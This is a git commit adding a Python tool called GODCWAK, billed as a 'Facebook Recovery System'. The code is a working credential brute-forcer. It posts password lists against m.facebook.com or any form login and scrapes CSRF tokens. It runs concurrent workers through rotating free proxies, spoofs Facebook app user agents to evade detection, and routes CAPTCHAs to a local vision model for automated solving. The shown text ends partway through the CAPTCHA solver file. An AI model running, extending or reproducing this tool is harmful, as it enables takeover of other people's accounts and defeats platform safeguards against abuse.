Add full application source

This commit is contained in:
Dr Jones
2026-05-22 12:47:24 -07:00
parent 53138fdd1e
commit c958a06b96
37 changed files with 6642 additions and 0 deletions

20
.gitignore vendored Normal file
View File

@@ -0,0 +1,20 @@
__pycache__/
*.py[cod]
*$py.class
.venv/
venv/
env/
data/
*.log
attempt_log.csv
passwords.txt
proxies.txt
valid_proxies.txt
.env
*.env
Screenshot *.png
*.tmp

49
GODCWAK.bat Normal file
View File

@@ -0,0 +1,49 @@
@echo off
title GODCWAK Launcher
color 0A
echo.
echo =========================================
echo GODCWAK v1.0 - Starting...
echo =========================================
echo.
:: Change to the folder this .bat lives in so relative imports work
cd /d "%~dp0"
:: Prefer the project virtual environment, then the Python launcher, then PATH.
set PYTHON_EXE=
set PYTHON_ARGS=
if exist "%~dp0.venv\Scripts\python.exe" (
set "PYTHON_EXE=%~dp0.venv\Scripts\python.exe"
) else (
py -3 --version >nul 2>&1
if %ERRORLEVEL% EQU 0 (
set "PYTHON_EXE=py"
set "PYTHON_ARGS=-3"
) else (
python --version >nul 2>&1
if %ERRORLEVEL% EQU 0 (
set "PYTHON_EXE=python"
)
)
)
if "%PYTHON_EXE%"=="" (
echo [ERROR] Python 3 not found. Install Python or create .venv first.
echo.
pause
exit /b 1
)
:: Launch
"%PYTHON_EXE%" %PYTHON_ARGS% main.py
:: If Python exited with an error, pause so the user can read it
if %ERRORLEVEL% NEQ 0 (
echo.
echo [!] GODCWAK exited with error code %ERRORLEVEL%
echo Check the output above for details.
echo.
pause
)

85
config.py Normal file
View File

@@ -0,0 +1,85 @@
"""
Configuration and constants for the Facebook Recovery System.
"""
import os
from pathlib import Path
# Paths
BASE_DIR = Path(__file__).parent
DATA_DIR = BASE_DIR / "data"
ASSETS_DIR = BASE_DIR / "assets"
# Ensure data directory exists
DATA_DIR.mkdir(exist_ok=True)
# Proxy source settings (free public sources — no API key needed)
PROXIFLY_API_KEY = ""
PROXIFLY_API_URL = ""
PROXIFLY_FALLBACK_URL = ""
# Facebook
FACEBOOK_LOGIN_URL = "https://m.facebook.com/login.php"
FACEBOOK_BASE_URL = "https://m.facebook.com"
# Proxy Settings
MAX_PROXIES = 2000
PROXY_TEST_TIMEOUT = 10 # seconds
PROXY_TEST_URL = "http://httpbin.org/ip"
PROXY_REFRESH_INTERVAL = 300 # seconds (5 min)
# Attack Settings
DEFAULT_DELAY_MIN = 0.5 # seconds
DEFAULT_DELAY_MAX = 2.0 # seconds
MAX_CONCURRENT_WORKERS = 3 # parallel attack threads
PROXY_ROTATION_EVERY = 1 # rotate proxy every N attempts (1 = each attempt)
REQUEST_TIMEOUT = 20 # seconds per HTTP request
# Proxy Testing
PROXY_TEST_CONCURRENCY = 100 # concurrent proxy health-check connections
# Password Generation
DEFAULT_MIN_LENGTH = 6
DEFAULT_MAX_LENGTH = 32
GPU_THRESHOLD = 50_000 # use GPU when combinations exceed this
# File Paths
PASSWORDS_FILE = DATA_DIR / "passwords.txt"
PROXIES_FILE = DATA_DIR / "proxies.txt"
VALID_PROXIES_FILE = DATA_DIR / "valid_proxies.txt"
ATTEMPT_LOG_FILE = DATA_DIR / "attempt_log.csv"
OLLAMA_CONFIG_FILE = BASE_DIR / "config_ollama.json"
DEFAULT_OLLAMA_CONFIG = {
"ollama_host": "http://localhost:11434",
"model": "",
"timeout": 60,
"temperature": 0.1,
"top_p": 0.9,
"max_tokens": 512,
"prompt_template": "",
"browser_engine": "Playwright",
"headless": False,
"viewport": "1280x720",
"mouse_delay_ms": 50,
"retry_limit": 3,
}
# GUI Theme Colors
THEME = {
"bg_dark": "#0a0a0f",
"bg_medium": "#12121a",
"bg_light": "#1a1a2e",
"primary": "#00f0ff",
"secondary": "#ff00aa",
"tertiary": "#7700ff",
"text_primary": "#e0e0ff",
"text_secondary": "#8888aa",
"text_dim": "#555577",
"success": "#00ff88",
"warning": "#ffaa00",
"error": "#ff3355",
"border": "#2a2a4a",
"glow_cyan": "#00f0ff33",
"glow_pink": "#ff00aa33",
"glow_purple": "#7700ff33",
}

14
config_ollama.json Normal file
View File

@@ -0,0 +1,14 @@
{
"ollama_host": "http://localhost:11434",
"model": "",
"timeout": 60,
"temperature": 0.1,
"top_p": 0.9,
"max_tokens": 512,
"prompt_template": "",
"browser_engine": "Playwright",
"headless": false,
"viewport": "1280x720",
"mouse_delay_ms": 50,
"retry_limit": 3
}

94
main.py Normal file
View File

@@ -0,0 +1,94 @@
#!/usr/bin/env python3
"""
Facebook Recovery System v1.0
GPU-accelerated password recovery tool with proxy rotation.
Usage:
python main.py
Requirements:
pip install -r requirements.txt
"""
import logging
import sys
import os
# Add project root to path
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
# Configure logging
logging.basicConfig(
level=logging.INFO,
format="[%(asctime)s] %(levelname)s: %(message)s",
datefmt="%H:%M:%S",
)
logger = logging.getLogger(__name__)
def check_dependencies():
"""Check that critical dependencies are available."""
missing = []
try:
import customtkinter
except ImportError:
missing.append("customtkinter")
try:
import requests
except ImportError:
missing.append("requests")
try:
import numpy
except ImportError:
missing.append("numpy")
# GPU libraries are optional
try:
import cupy
logger.info("✅ CuPy detected — GPU acceleration available")
except ImportError:
logger.warning("⚠️ CuPy not installed — GPU acceleration disabled")
logger.warning(" Install with: pip install cupy-cuda12x")
try:
import numba
logger.info("✅ Numba detected")
except ImportError:
logger.warning("⚠️ Numba not installed — some optimizations disabled")
if missing:
logger.error(f"Missing required dependencies: {', '.join(missing)}")
logger.error("Install with: pip install -r requirements.txt")
return False
return True
def main():
"""Application entry point."""
logger.info("=" * 60)
logger.info(" GODCWAK v1.0")
logger.info("=" * 60)
if not check_dependencies():
input("\nPress Enter to exit...")
sys.exit(1)
try:
from src.gui.app import FacebookRecoveryApp
app = FacebookRecoveryApp()
logger.info("Application started successfully")
app.mainloop()
except Exception as e:
logger.error(f"Fatal error: {e}", exc_info=True)
input("\nPress Enter to exit...")
sys.exit(1)
if __name__ == "__main__":
main()

20
requirements.txt Normal file
View File

@@ -0,0 +1,20 @@
# Core GUI
customtkinter>=5.2.0
Pillow>=10.0.0
# GPU Acceleration
cupy-cuda12x>=13.0.0
numba>=0.59.0
# Networking
requests[socks]>=2.31.0
aiohttp>=3.9.0
aiohttp-socks>=0.8.0
# Data Processing
numpy>=1.26.0
pandas>=2.1.0
# Utilities
colorama>=0.4.6
python-dotenv>=1.0.0

0
src/__init__.py Normal file
View File

0
src/attack/__init__.py Normal file
View File

View File

@@ -0,0 +1,7 @@
"""
Backward-compatibility shim — the generic LoginClient replaces FacebookClient.
Any code that imports FacebookClient or LoginResult from here still works.
"""
from src.attack.login_client import LoginClient as FacebookClient, LoginResult, SiteConfig # noqa: F401
__all__ = ["FacebookClient", "LoginResult", "SiteConfig"]

229
src/attack/login_client.py Normal file
View File

@@ -0,0 +1,229 @@
"""
Generic login client — submits credential pairs to any HTML form-based login URL.
Defaults to Facebook (m.facebook.com) behaviour; fully configurable for other sites.
"""
import logging
import re
import time
from dataclasses import dataclass, field
from typing import Dict, List, Optional
from urllib.parse import urlparse, urljoin
import requests
from src.attack.user_agents import get_random_mobile_ua, get_random_facebook_ua
logger = logging.getLogger(__name__)
@dataclass
class SiteConfig:
"""Per-site configuration for the generic login client."""
login_url: str = "https://m.facebook.com/login.php"
base_url: str = "https://m.facebook.com"
# HTML form field names
username_field: str = "email"
password_field: str = "pass"
# Extra static POST fields (e.g. Facebook's login_source)
extra_fields: Dict[str, str] = field(default_factory=lambda: {
"login_source": "comet_headerless",
"login": "Log In",
})
# Token scraping (CSRF)
csrf_field: str = "lsd" # empty string to disable
csrf_patterns: List[str] = field(default_factory=lambda: [
r'name="lsd"[^>]*value="([^"]+)"',
r'"lsd"[^}]*?"([^"]+)"',
])
# Success / failure detection in response body or URL
success_cookies: List[str] = field(default_factory=lambda: ["c_user", "sb"])
success_url_fragments: List[str] = field(default_factory=lambda: ["home", "feed", "stories"])
failure_url_fragments: List[str] = field(default_factory=lambda: ["login", "checkpoint"])
captcha_indicators: List[str] = field(default_factory=lambda: [
"captcha", "security check", "confirm your identity",
"unusual activity", "verify", "prove you",
])
rate_limit_indicators: List[str] = field(default_factory=lambda: [
"too many", "try again later", "rate limit",
])
wrong_pass_indicators: List[str] = field(default_factory=lambda: [
"incorrect", "wrong password", "invalid", "didn't match",
"password you entered", "not match",
])
@classmethod
def for_url(cls, url: str) -> "SiteConfig":
"""Build a minimal config for an arbitrary URL (generic form POST)."""
parsed = urlparse(url)
base = f"{parsed.scheme}://{parsed.netloc}"
return cls(
login_url=url,
base_url=base,
extra_fields={},
csrf_field="",
success_cookies=[],
success_url_fragments=[],
failure_url_fragments=["login", "signin", "auth"],
)
@dataclass
class LoginResult:
success: bool
status_code: int
response_time_ms: float
message: str
captcha_detected: bool = False
cookies: Optional[Dict] = None
redirect_url: Optional[str] = None
class LoginClient:
"""
Generic HTML-form login client.
Rotate User-Agents, fetch CSRF tokens, POST credentials, analyse response.
"""
def __init__(
self,
site_config: Optional[SiteConfig] = None,
request_timeout: int = 20,
):
self.site = site_config or SiteConfig()
self.request_timeout = request_timeout
self.session = requests.Session()
self.session.headers.update({
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Connection": "keep-alive",
"Upgrade-Insecure-Requests": "1",
})
def reconfigure(self, site_config: SiteConfig):
self.site = site_config
self.session.cookies.clear()
# ── CSRF helper ───────────────────────────────────────────────────────────
def _get_csrf_token(self, proxies: Dict) -> str:
if not self.site.csrf_field:
return ""
try:
ua = get_random_mobile_ua()
resp = self.session.get(
self.site.login_url,
proxies=proxies,
headers={"User-Agent": ua},
timeout=self.request_timeout,
)
for pattern in self.site.csrf_patterns:
m = re.search(pattern, resp.text)
if m:
return m.group(1)
except Exception as e:
logger.debug(f"CSRF token fetch failed: {e}")
return ""
# ── Core attempt ─────────────────────────────────────────────────────────
def attempt_login(
self,
username: str,
password: str,
proxy_string: Optional[str] = None,
) -> LoginResult:
start = time.time()
proxies = self._build_proxies(proxy_string)
ua = get_random_facebook_ua()
try:
csrf = self._get_csrf_token(proxies)
payload: Dict[str, str] = {
self.site.username_field: username,
self.site.password_field: password,
}
if self.site.csrf_field and csrf:
payload[self.site.csrf_field] = csrf
payload.update(self.site.extra_fields)
headers = {
"User-Agent": ua,
"Origin": self.site.base_url,
"Referer": self.site.login_url,
"Content-Type": "application/x-www-form-urlencoded",
"Cache-Control": "max-age=0",
}
resp = self.session.post(
self.site.login_url,
data=payload,
proxies=proxies,
headers=headers,
timeout=self.request_timeout,
allow_redirects=True,
)
elapsed = (time.time() - start) * 1000
return self._analyse(resp, password, elapsed)
except requests.ConnectTimeout:
return LoginResult(False, 0, _ms(start), "Connection timeout")
except requests.ProxyError as e:
return LoginResult(False, 0, _ms(start), f"Proxy error: {str(e)[:80]}")
except requests.ConnectionError as e:
return LoginResult(False, 0, _ms(start), f"Connection error: {str(e)[:80]}")
except Exception as e:
return LoginResult(False, 0, _ms(start), f"Error: {str(e)[:100]}")
def _analyse(self, resp: requests.Response, password: str, elapsed: float) -> LoginResult:
url = resp.url.lower()
text = resp.text.lower()
code = resp.status_code
# ── Captcha check first ───────────────────────────────────────────
if any(kw in text for kw in self.site.captcha_indicators):
return LoginResult(False, code, round(elapsed, 1),
"CAPTCHA detected", captcha_detected=True)
# ── Cookie-based success ──────────────────────────────────────────
for cookie in self.site.success_cookies:
if cookie in resp.cookies:
logger.info(f"SUCCESS via cookie '{cookie}': {password}")
return LoginResult(True, code, round(elapsed, 1),
"Login successful!",
cookies=dict(resp.cookies),
redirect_url=resp.url)
# ── URL-redirect success ──────────────────────────────────────────
failed_frag = any(f in url for f in self.site.failure_url_fragments)
if not failed_frag and code == 200:
if any(f in url for f in self.site.success_url_fragments):
logger.info(f"Possible SUCCESS via redirect to: {url}")
return LoginResult(True, code, round(elapsed, 1),
f"Redirected to: {url[:60]}",
cookies=dict(resp.cookies),
redirect_url=resp.url)
# ── Rate-limit ────────────────────────────────────────────────────
if any(kw in text for kw in self.site.rate_limit_indicators):
return LoginResult(False, code, round(elapsed, 1), "Rate limited")
# ── Wrong password ────────────────────────────────────────────────
if any(kw in text for kw in self.site.wrong_pass_indicators):
return LoginResult(False, code, round(elapsed, 1), "Incorrect password")
return LoginResult(False, code, round(elapsed, 1), f"Failed (HTTP {code})")
@staticmethod
def _build_proxies(proxy_string: Optional[str]) -> Dict:
if not proxy_string:
return {}
return {"http": proxy_string, "https": proxy_string}
def _ms(start: float) -> float:
return round((time.time() - start) * 1000, 1)

328
src/attack/orchestrator.py Normal file
View File

@@ -0,0 +1,328 @@
"""
Attack orchestrator — multi-worker concurrent credential attack through rotating proxies.
Uses the generic LoginClient so it works against any site (Facebook, custom URL, etc.).
Optionally calls CaptchaSolver when a CAPTCHA is detected in the response.
"""
import logging
import random
import threading
import time
from dataclasses import dataclass, field
from enum import Enum
from typing import Callable, List, Optional
from urllib.parse import urlparse
from src.attack.login_client import LoginClient, LoginResult, SiteConfig
from src.proxy.pool import ProxyPool
from src.utils.logger import AttemptLogger
from config import (
DEFAULT_DELAY_MIN, DEFAULT_DELAY_MAX,
MAX_CONCURRENT_WORKERS, PROXY_ROTATION_EVERY, REQUEST_TIMEOUT,
)
logger = logging.getLogger(__name__)
class AttackState(Enum):
IDLE = "idle"
RUNNING = "running"
PAUSED = "paused"
STOPPED = "stopped"
COMPLETED = "completed"
@dataclass
class AttackStats:
total_attempts: int = 0
successful_attempts: int = 0
failed_attempts: int = 0
rate_limited: int = 0
proxy_errors: int = 0
captchas_hit: int = 0
passwords_tried: int = 0
proxies_used: int = 0
start_time: float = 0
elapsed_seconds: float = 0
attempts_per_second: float = 0
current_password: str = ""
current_proxy: str = ""
active_workers: int = 0
class AttackOrchestrator:
"""
Multi-threaded credential attack coordinator.
Spawns N worker threads, each independently pulling passwords and proxies.
"""
def __init__(
self,
proxy_pool: ProxyPool,
login_client: Optional[LoginClient] = None,
logger_instance: Optional[AttemptLogger] = None,
):
self.proxy_pool = proxy_pool
self.login_client = login_client or LoginClient()
self.logger = logger_instance or AttemptLogger()
# Keep the old attribute name so existing attack_tab.py references work
self.facebook_client = self.login_client
self.state = AttackState.IDLE
self.stats = AttackStats()
self._lock = threading.Lock()
self._threads: List[threading.Thread] = []
# GUI callbacks (always invoked via self.after() in the tab)
self.on_stats_update: Optional[Callable] = None
self.on_log_entry: Optional[Callable] = None
self.on_success: Optional[Callable] = None
self.on_state_change: Optional[Callable] = None
self.on_captcha: Optional[Callable] = None # (proxy_str) → image_bytes or None
# Runtime config
self.username: str = ""
self.passwords: List[str] = []
self.site_config: Optional[SiteConfig] = None
self.delay_min: float = DEFAULT_DELAY_MIN
self.delay_max: float = DEFAULT_DELAY_MAX
self.max_workers: int = MAX_CONCURRENT_WORKERS
self.proxy_rotation_every: int = PROXY_ROTATION_EVERY
self.request_timeout: int = REQUEST_TIMEOUT
self._password_index: int = 0
self._workers_active: int = 0
# ── Public API ───────────────────────────────────────────────────────────
def configure(
self,
username: str,
passwords: List[str],
site_config: Optional[SiteConfig] = None,
):
self.username = username
self.passwords = passwords
self.site_config = site_config
self._password_index = 0
if site_config:
self.login_client.reconfigure(site_config)
self.login_client.request_timeout = self.request_timeout
def start(self):
if self.state == AttackState.RUNNING:
return
if not self.username or not self.passwords:
logger.error("Username and passwords required")
return
self.state = AttackState.RUNNING
self.stats = AttackStats()
self.stats.start_time = time.time()
self._password_index = 0
self._workers_active = self.max_workers
if self.on_state_change:
self.on_state_change(self.state)
self._threads = []
for i in range(self.max_workers):
t = threading.Thread(
target=self._run_worker, args=(i,),
daemon=True, name=f"Worker-{i}")
t.start()
self._threads.append(t)
logger.info(
f"Attack started: {len(self.passwords)} passwords, "
f"{self.max_workers} workers, target={self.username}")
def pause(self):
if self.state == AttackState.RUNNING:
self.state = AttackState.PAUSED
if self.on_state_change:
self.on_state_change(self.state)
def resume(self):
if self.state == AttackState.PAUSED:
self.state = AttackState.RUNNING
if self.on_state_change:
self.on_state_change(self.state)
def stop(self):
self.state = AttackState.STOPPED
if self.on_state_change:
self.on_state_change(self.state)
# ── Worker loop ──────────────────────────────────────────────────────────
def _run_worker(self, worker_id: int):
rotation_counter = 0
current_proxy: Optional[str] = None
try:
while self.state not in (AttackState.STOPPED, AttackState.COMPLETED):
if self.state == AttackState.PAUSED:
time.sleep(0.1)
continue
password = self._get_next_password()
if password is None:
break
rotation_counter += 1
if current_proxy is None or rotation_counter >= self.proxy_rotation_every:
current_proxy = self.proxy_pool.get_proxy()
rotation_counter = 0
if current_proxy is None:
logger.warning(f"[W{worker_id}] No proxies — waiting 2s")
time.sleep(2)
with self._lock:
self._password_index -= 1
continue
with self._lock:
self.stats.current_password = password
self.stats.current_proxy = current_proxy
self.stats.active_workers = self._workers_active
result: LoginResult = self.login_client.attempt_login(
username=self.username,
password=password,
proxy_string=current_proxy,
)
# ── Handle CAPTCHA ─────────────────────────────────────
if result.captcha_detected:
with self._lock:
self.stats.captchas_hit += 1
logger.info(f"[W{worker_id}] CAPTCHA hit — notifying GUI")
if self.on_captcha:
self.on_captcha(current_proxy)
# Re-queue this password and rotate proxy
with self._lock:
self._password_index -= 1
# CAPTCHA/rate-limit proxies are held out of immediate rotation.
current_proxy = None
time.sleep(random.uniform(2.0, 5.0))
continue
# ── Accumulate stats ───────────────────────────────────
with self._lock:
self.stats.total_attempts += 1
self.stats.passwords_tried = self._password_index
self.stats.proxies_used += 1
self.stats.elapsed_seconds = time.time() - self.stats.start_time
self.stats.attempts_per_second = (
self.stats.total_attempts / self.stats.elapsed_seconds
if self.stats.elapsed_seconds > 0 else 0
)
if result.success:
self.stats.successful_attempts += 1
else:
self.stats.failed_attempts += 1
if "rate limit" in result.message.lower():
self.stats.rate_limited += 1
if "proxy" in result.message.lower():
self.stats.proxy_errors += 1
# ── Log attempt ────────────────────────────────────────
parsed = urlparse(current_proxy)
self.logger.log_attempt(
password=password,
proxy_ip=parsed.hostname or current_proxy,
proxy_port=parsed.port or 0,
proxy_protocol=parsed.scheme or "http",
status_code=result.status_code,
result="SUCCESS" if result.success else "FAILED",
response_time_ms=result.response_time_ms,
message=result.message,
)
# ── GUI callbacks ──────────────────────────────────────
if self.on_stats_update:
self.on_stats_update(self.stats)
if self.on_log_entry:
self.on_log_entry({
"password": password,
"proxy": current_proxy,
"result": "SUCCESS" if result.success else "FAILED",
"message": result.message,
"time_ms": result.response_time_ms,
})
if result.success:
logger.info(f"*** PASSWORD FOUND: {password} ***")
if self.on_success:
self.on_success(password, current_proxy, result)
self.state = AttackState.COMPLETED
if self.on_state_change:
self.on_state_change(self.state)
break
if self._release_proxy_after_attempt(current_proxy, result):
current_proxy = None
time.sleep(random.uniform(self.delay_min, self.delay_max))
except Exception as e:
logger.error(f"[W{worker_id}] Worker error: {e}", exc_info=True)
finally:
with self._lock:
self._workers_active -= 1
if self._workers_active == 0 and self.state == AttackState.RUNNING:
self.state = AttackState.COMPLETED
if self.on_state_change:
self.on_state_change(self.state)
def _get_next_password(self) -> Optional[str]:
with self._lock:
if self._password_index >= len(self.passwords):
return None
pwd = self.passwords[self._password_index]
self._password_index += 1
return pwd
def _release_proxy_after_attempt(self, proxy: Optional[str], result: LoginResult) -> bool:
"""Recycle healthy one-shot proxies and drop clearly failing proxies."""
if not proxy:
return False
message = result.message.lower()
proxy_failed = any(
marker in message
for marker in ("proxy", "connection timeout", "connection error")
)
if proxy_failed:
self.proxy_pool.mark_dead(proxy)
return True
if "rate limit" in message:
return True
if self.proxy_rotation_every <= 1:
self.proxy_pool.return_proxy(proxy)
return True
return False
# ── Properties ───────────────────────────────────────────────────────────
@property
def progress(self) -> float:
if not self.passwords:
return 0.0
return (self._password_index / len(self.passwords)) * 100
@property
def is_running(self) -> bool:
return self.state == AttackState.RUNNING
@property
def is_paused(self) -> bool:
return self.state == AttackState.PAUSED
@property
def is_stopped(self) -> bool:
return self.state in (AttackState.STOPPED, AttackState.COMPLETED, AttackState.IDLE)

69
src/attack/user_agents.py Normal file
View File

@@ -0,0 +1,69 @@
"""
User-Agent rotation pool — realistic mobile browser strings to avoid detection.
"""
import random
MOBILE_USER_AGENTS = [
# Chrome on Android
"Mozilla/5.0 (Linux; Android 14; Pixel 8 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.230 Mobile Safari/537.36",
"Mozilla/5.0 (Linux; Android 14; Samsung Galaxy S24 Ultra) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.230 Mobile Safari/537.36",
"Mozilla/5.0 (Linux; Android 13; OnePlus 11) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.163 Mobile Safari/537.36",
"Mozilla/5.0 (Linux; Android 13; Xiaomi 13 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.163 Mobile Safari/537.36",
"Mozilla/5.0 (Linux; Android 14; Google Pixel 7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.230 Mobile Safari/537.36",
"Mozilla/5.0 (Linux; Android 13; SM-S908B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.163 Mobile Safari/537.36",
"Mozilla/5.0 (Linux; Android 12; SM-G998B) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.5993.80 Mobile Safari/537.36",
"Mozilla/5.0 (Linux; Android 13; motorola edge 30) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.163 Mobile Safari/537.36",
# Samsung Internet
"Mozilla/5.0 (Linux; Android 14; SAMSUNG SM-S928B) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/24.0 Chrome/120.0.6099.230 Mobile Safari/537.36",
"Mozilla/5.0 (Linux; Android 13; SAMSUNG SM-S918B) AppleWebKit/537.36 (KHTML, like Gecko) SamsungBrowser/23.0 Chrome/119.0.6045.163 Mobile Safari/537.36",
# Firefox on Android
"Mozilla/5.0 (Android 14; Mobile; rv:121.0) Gecko/121.0 Firefox/121.0",
"Mozilla/5.0 (Android 13; Mobile; rv:120.0) Gecko/120.0 Firefox/120.0",
"Mozilla/5.0 (Android 12; Mobile; rv:119.0) Gecko/119.0 Firefox/119.0",
# iPhone Safari
"Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.1 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (iPhone; CPU iPhone OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1",
# Chrome on iPhone
"Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/120.0.6099.119 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) CriOS/119.0.6045.109 Mobile/15E148 Safari/604.1",
# Facebook in-app browser (Android)
"Mozilla/5.0 (Linux; Android 14; Pixel 8) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/120.0.6099.230 Mobile Safari/537.36 [FB_IAB/FB4A]",
"Mozilla/5.0 (Linux; Android 13; SM-S908B) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/119.0.6045.163 Mobile Safari/537.36 [FB_IAB/FB4A]",
"Mozilla/5.0 (Linux; Android 14; Pixel 7 Pro) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/120.0.6099.230 Mobile Safari/537.36 [FB_IAB/FB4A]",
# Facebook in-app browser (iPhone)
"Mozilla/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 [FBAN/FBIOS;FBAV/440.0.0.33.103;FBBV/567234567;FBDV/iPhone15,2;FBMD/iPhone;FBSN/iOS;FBSV/17.2;FBSS/3;FBID/phone;FBLC/en_US;FBOP/5;FBRV/0]",
"Mozilla/5.0 (iPhone; CPU iPhone OS 17_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 [FBAN/FBIOS;FBAV/439.0.0.30.102;FBBV/564123456;FBDV/iPhone14,3;FBMD/iPhone;FBSN/iOS;FBSV/17.1;FBSS/3;FBID/phone;FBLC/en_US;FBOP/5;FBRV/0]",
]
DESKTOP_USER_AGENTS = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 14_1; rv:121.0) Gecko/20100101 Firefox/121.0",
]
def get_random_mobile_ua() -> str:
"""Get a random mobile User-Agent string."""
return random.choice(MOBILE_USER_AGENTS)
def get_random_desktop_ua() -> str:
"""Get a random desktop User-Agent string."""
return random.choice(DESKTOP_USER_AGENTS)
def get_random_facebook_ua() -> str:
"""Get a User-Agent that looks like it's coming from the Facebook app."""
fb_agents = [ua for ua in MOBILE_USER_AGENTS if "FBAN" in ua or "FB_IAB" in ua]
if fb_agents:
return random.choice(fb_agents)
return get_random_mobile_ua()

8
src/captcha/__init__.py Normal file
View File

@@ -0,0 +1,8 @@
"""
CAPTCHA Solving Pipeline — vision-guided browser automation system.
Uses local Ollama vision models to interpret CAPTCHA challenges and
automates browser interaction to solve them.
Pipeline:
Browser/App → Screenshot → Ollama VLM → Coordinate Mapping → Mouse Automation → Verify → Loop
"""

View File

@@ -0,0 +1,133 @@
"""
Browser automation controller for CAPTCHA solving workflows.
Supports Playwright and Selenium when installed; otherwise operates in manual mode.
"""
import logging
from dataclasses import dataclass
from typing import Any, Optional, Tuple
logger = logging.getLogger(__name__)
@dataclass
class BrowserConfig:
engine: str = "Playwright"
headless: bool = False
viewport: Tuple[int, int] = (1280, 720)
mouse_delay_ms: int = 50
retry_limit: int = 3
class BrowserController:
"""Launches and controls a browser session for CAPTCHA automation."""
def __init__(self, config: Optional[BrowserConfig] = None):
self.config = config or BrowserConfig()
self._driver: Any = None
self._playwright: Any = None
self._browser: Any = None
self._page: Any = None
@property
def is_running(self) -> bool:
return self._driver is not None or self._page is not None
@property
def active_driver(self) -> Any:
"""Return the active Playwright page or Selenium WebDriver."""
return self._page or self._driver
def launch(self, url: Optional[str] = None) -> bool:
engine = (self.config.engine or "None (Manual)").lower()
if "playwright" in engine:
return self._launch_playwright(url)
if "selenium" in engine:
return self._launch_selenium(url)
logger.info("Browser automation disabled — manual mode")
return False
def _launch_playwright(self, url: Optional[str]) -> bool:
try:
from playwright.sync_api import sync_playwright
except ImportError:
logger.warning("Playwright not installed. Install with: pip install playwright")
return False
try:
self._playwright = sync_playwright().start()
self._browser = self._playwright.chromium.launch(headless=self.config.headless)
context = self._browser.new_context(
viewport={
"width": self.config.viewport[0],
"height": self.config.viewport[1],
}
)
self._page = context.new_page()
if url:
self._page.goto(url, wait_until="domcontentloaded")
logger.info("Playwright browser launched")
return True
except Exception as e:
logger.error(f"Failed to launch Playwright: {e}")
self.close()
return False
def _launch_selenium(self, url: Optional[str]) -> bool:
try:
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
except ImportError:
logger.warning("Selenium not installed. Install with: pip install selenium")
return False
try:
options = Options()
if self.config.headless:
options.add_argument("--headless=new")
options.add_argument(
f"--window-size={self.config.viewport[0]},{self.config.viewport[1]}"
)
self._driver = webdriver.Chrome(options=options)
if url:
self._driver.get(url)
logger.info("Selenium browser launched")
return True
except Exception as e:
logger.error(f"Failed to launch Selenium: {e}")
self.close()
return False
def navigate(self, url: str) -> bool:
driver = self.active_driver
if not driver:
return False
try:
if self._page is not None:
self._page.goto(url, wait_until="domcontentloaded")
else:
driver.get(url)
return True
except Exception as e:
logger.error(f"Navigation failed: {e}")
return False
def close(self):
try:
if self._page is not None:
self._page.close()
if self._browser is not None:
self._browser.close()
if self._playwright is not None:
self._playwright.stop()
if self._driver is not None:
self._driver.quit()
except Exception as e:
logger.warning(f"Browser shutdown warning: {e}")
finally:
self._driver = None
self._page = None
self._browser = None
self._playwright = None

View File

@@ -0,0 +1,306 @@
"""
CAPTCHA solver — sends a screenshot to a local Ollama model and returns
a plain-text answer (the text/characters to type or tiles to click).
Designed for DeepSeek-VL2 / LLaVA / minicpm-v and similar vision models.
"""
import base64
import json
import logging
import re
from io import BytesIO
from typing import List, Optional, Tuple
import requests
from config import DEFAULT_OLLAMA_CONFIG, OLLAMA_CONFIG_FILE
logger = logging.getLogger(__name__)
_CONFIG_PATH = OLLAMA_CONFIG_FILE
_OLLAMA_DEFAULT = "http://localhost:11434"
def _write_default_config() -> dict:
_CONFIG_PATH.write_text(
json.dumps(DEFAULT_OLLAMA_CONFIG, indent=2),
encoding="utf-8",
)
return DEFAULT_OLLAMA_CONFIG.copy()
def _load_config() -> dict:
try:
if not _CONFIG_PATH.exists():
return _write_default_config()
cfg = json.loads(_CONFIG_PATH.read_text(encoding="utf-8"))
